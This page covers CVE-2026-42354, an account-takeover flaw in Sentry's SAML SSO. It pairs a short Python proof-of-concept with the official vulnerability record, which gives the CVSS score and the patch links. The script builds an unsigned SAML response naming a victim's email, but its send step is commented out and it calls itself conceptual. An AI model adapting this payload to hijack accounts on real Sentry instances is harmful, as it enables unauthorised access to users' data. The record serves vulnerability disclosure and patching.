CVE-2026-42354

#!/usr/bin/env python3 """ PoC for CVE-2026-42354 This script demonstrates the logic of sending a malicious SAML response. """ import base64 import requests from lxml import etree TARGET_ACS_URL = "https://sentry.example.com/saml/sso/" VICTIM_EMAIL = "[email protected]" # Construct a malicious SAML Assertion (Simplified) # In a real scenario, this requires signing with a key accepted by Sentry SAML_TEMPLATE = """ <samlp:Response xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol" ID="_id" Version="2.0"> <saml:Assertion xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion"> <saml:Subject> <saml:NameID>{email}</saml:NameID> </saml:Subject> </saml:Assertion> </samlp:Response> """ def generate_malicious_saml(email): return SAML_TEMPLATE.format(email=email) def exploit(): saml_assertion = generate_malicious_saml(VICTIM_EMAIL) # Encode the assertion encoded_saml = base64.b64encode(saml_assertion.encode()).decode() payload = { "SAMLResponse": encoded_saml } print(f"[*] Sending malicious SAML for {VICTIM_EMAIL}...") # The request might fail if the signature is invalid or IdP not trusted # r = requests.post(TARGET_ACS_URL, data=payload) print("[+] Payload generated (Conceptual). Requires valid IdP configuration.") if __name__ == "__main__": exploit()

{"cve": {"id": "CVE-2026-42354", "sourceIdentifier": "[email protected]", "published": "2026-05-08T23:16:38.513", "lastModified": "2026-05-08T23:16:38.513", "vulnStatus": "Received", "cveTags": [], "descriptions": [{"lang": "en", "value": "Sentry is an error tracking and performance monitoring tool. From version 21.12.0 to before version 26.4.1, a critical vulnerability was discovered in the SAML SSO implementation of Sentry. The vulnerability allows an attacker to take over any user account by using a malicious SAML Identity Provider and another organization on the same Sentry instance. The victim email address must be known in order to exploit this vulnerability. This issue has been patched in version 26.4.1."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N", "baseScore": 9.1, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-290"}]}], "references": [{"url": "https://github.com/getsentry/sentry/commit/0c67558ae7fe08738912d4c5233b53ead048da3b", "source": "[email protected]"}, {"url": "https://github.com/getsentry/sentry/pull/113720", "source": "[email protected]"}, {"url": "https://github.com/getsentry/sentry/releases/tag/26.4.1", "source": "[email protected]"}, {"url": "https://github.com/getsentry/sentry/security/advisories/GHSA-rcmw-7mc7-3rj7", "source": "[email protected]"}]}}